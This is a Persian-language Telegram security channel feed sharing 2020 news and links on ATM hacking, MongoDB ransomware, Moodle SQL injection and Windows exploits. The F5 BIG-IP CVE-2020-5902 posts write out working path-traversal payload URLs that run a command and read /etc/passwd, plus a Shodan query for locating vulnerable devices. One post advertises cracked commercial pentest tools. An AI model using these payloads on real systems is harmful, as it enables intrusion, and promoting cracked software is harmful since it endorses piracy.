امنیت اطلاعات

نمیدونم این مطلب برامون خطر جانی داره یا نه ولی مقاومت بی فایده ست…

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/adventures-in-atm-hacking/

#atm
#pentest

@sec_nerd

Trustwave

Adventures in ATM Hacking

Previously, I had some experience with PoS (Point of Sale) devices and entertained myself with kiosks at hacking conferences, but never had touched an ATM before. My companion on this saga had already some fun hacking with these devices and had some precious…

720 views07:41

امنیت اطلاعات

در یک کمپین باج گیری بیش از ۲۳ هزار دیتابیس مونگو که بصورت غیرامن در فضای اینترنت قرار گرفته بودند توسط هکرها دزدیده شده و متن باج خواهی بجای دیتای اصلی قرار گرفت.
میزان باج درخواستی معادل 0.015 بیت کوین است و اگر تا دو روز توسط مالک دیتابیس پرداخت نشود، دیتای تصاحب شده توسط هکرها منتشر خواهد شد.

https://www.darkreading.com/cloud/22900-mongodb-databases-affected-in-ransomware-attack/d/d-id/1338271

#mongodb
#news
#nosql

@sec_nerd

Dark Reading

22,900 MongoDB Databases Affected in Ransomware Attack

An attacker scanned for databases misconfigured to expose information and wiped the data, leaving a ransom note behind.

675 views08:03

امنیت اطلاعات

معاون وزیر ارتباطات هستن

#mci
#irancell

@sec_nerd

739 views05:36

امنیت اطلاعات

This media is not supported in your browser

VIEW IN TELEGRAM

آسیب پذیری جدید کشف شده در تجهیزات F5
شناسه : CVE-2020-5902

قابلیت ها: اجرای دستور، حذف یا ایجاد فایلهای دلخواه، از کار انداختن سرویسها و اجرای کدهای جاوا

اسکریپت کشف آسیب پذیری برای nmap:
https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse

پیلود سانسور شده در ویدیو:
https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

#f5
#rce

@sec_nerd

841 viewsedited 04:54

امنیت اطلاعات

پیلودهای سانسور شده در تصویر:

https://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

#f5
#rce

@sec_nerd

678 viewsedited 04:59

امنیت اطلاعات

آسیب پذیری مورد اشاره در تجهیزات Traffic Management User Interface (TMUI) شرکت f5 کشف شده است

#f5
#rce

@sec_nerd

455 views05:01

امنیت اطلاعات

#fun

#f5

@sec_nerd

452 views05:02

امنیت اطلاعات

Moodle LMS — SQL Injection using Unicode Characters

https://medium.com/bugbountywriteup/moodle-lms-sql-injection-using-unicode-characters-fe01232f2727

#moodle
#sqli

@sec_nerd

748 views05:05

امنیت اطلاعات

کوئری shodan
https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+

#f5
#rce

@sec_nerd

727 viewsedited 05:25

امنیت اطلاعات

اسکریپت bash یک خطی برای کشف موارد آسیب پذیر f5 در موتور جستجوی shodan

https://gist.github.com/Mad-robot/e8c5a81c87d14c7fe0413be2e912141f

#f5
#rce

@sec_nerd

Gist

Shodan Big Ip RCE

Shodan Big Ip RCE. GitHub Gist: instantly share code, notes, and snippets.

766 views05:46

امنیت اطلاعات

اکسپلویت پایتون

https://github.com/dunderhay/CVE-2020-5902/blob/master/CVE-2020-5902.py

#f5
#rce

@sec_nerd

GitHub

CVE-2020-5902/CVE-2020-5902.py at master · dunderhay/CVE-2020-5902

Python script to exploit F5 Big-IP CVE-2020-5902 . Contribute to dunderhay/CVE-2020-5902 development by creating an account on GitHub.

874 views06:11

امنیت اطلاعات

https://github.com/sailay1996/WerTrigger

#windows
#privesc

@sec_nerd

545 views11:53

امنیت اطلاعات

اکسپلویت جدیدتر برای آسیب پذیری F5 به همراه تصاویر و پیلودهای مختلف از جمله پیلود آپلود فایل

https://github.com/jas502n/CVE-2020-5902/

#f5
#rce

@sec_nerd

898 views12:02

امنیت اطلاعات

1:45

This media is not supported in your browser

VIEW IN TELEGRAM

سلام

تعدادی از دوستان کانال/گروه شروع به قفل شکنی بعضی از ابزارهای گرون قیمت تست نفوذ کردن و ما هم بعد از اطمینان از صحت کارشون، تصمیم گرفتیم ازشون حمایت کنیم

این لینک کانالشون هست که میتونید محصولات و قیمت هارو ببینید

@secstore

@sec_nerd

681 views16:45

امنیت اطلاعات

اسکنر smbghost و smbleed

CVE-2020-0796
CVE-2020-1206

https://github.com/ZecOps/SMBGhost-SMBleed-scanner

#windows
#rce

@sec_nerd

884 views03:43

امنیت اطلاعات

هک بار جدید بدون نیاز به لایسنس(نسخه پولی این افزونه فایرفاکس هم وجود داره)

https://addons.mozilla.org/en-US/firefox/addon/hackbar-free/

#firefox #hackbar

@sec_nerd

634 views15:13

امنیت اطلاعات

قابلیت های devtools در مرورگر برای کشف باگ

https://www.youtube.com/watch?v=Y1S5s3FmFsI

#bugbounty
#pentest

@sec_nerd

YouTube

Improve Your Hacking Skills Using Devtools | Bug Bounty Tips

In this video, Filedescriptor talks about secret DevTools tricks for bug bounty hunting.

00:00 - Introduction
00:07 - Using debug() to intercept insecure postMessage calls
00:56 - Using monitorEvents() to log message events
01:21 - Local Overrides to automatically…

869 views15:14

امنیت اطلاعات

https://twitter.com/pwn_expoit/status/1282416614525136896

#scary_movie

@sec_nerd

527 views15:16

امنیت اطلاعات

DLL Proxy Loading Your Favourite C# Implant

https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/

#windows #pentest #malware #backdoor

@sec_nerd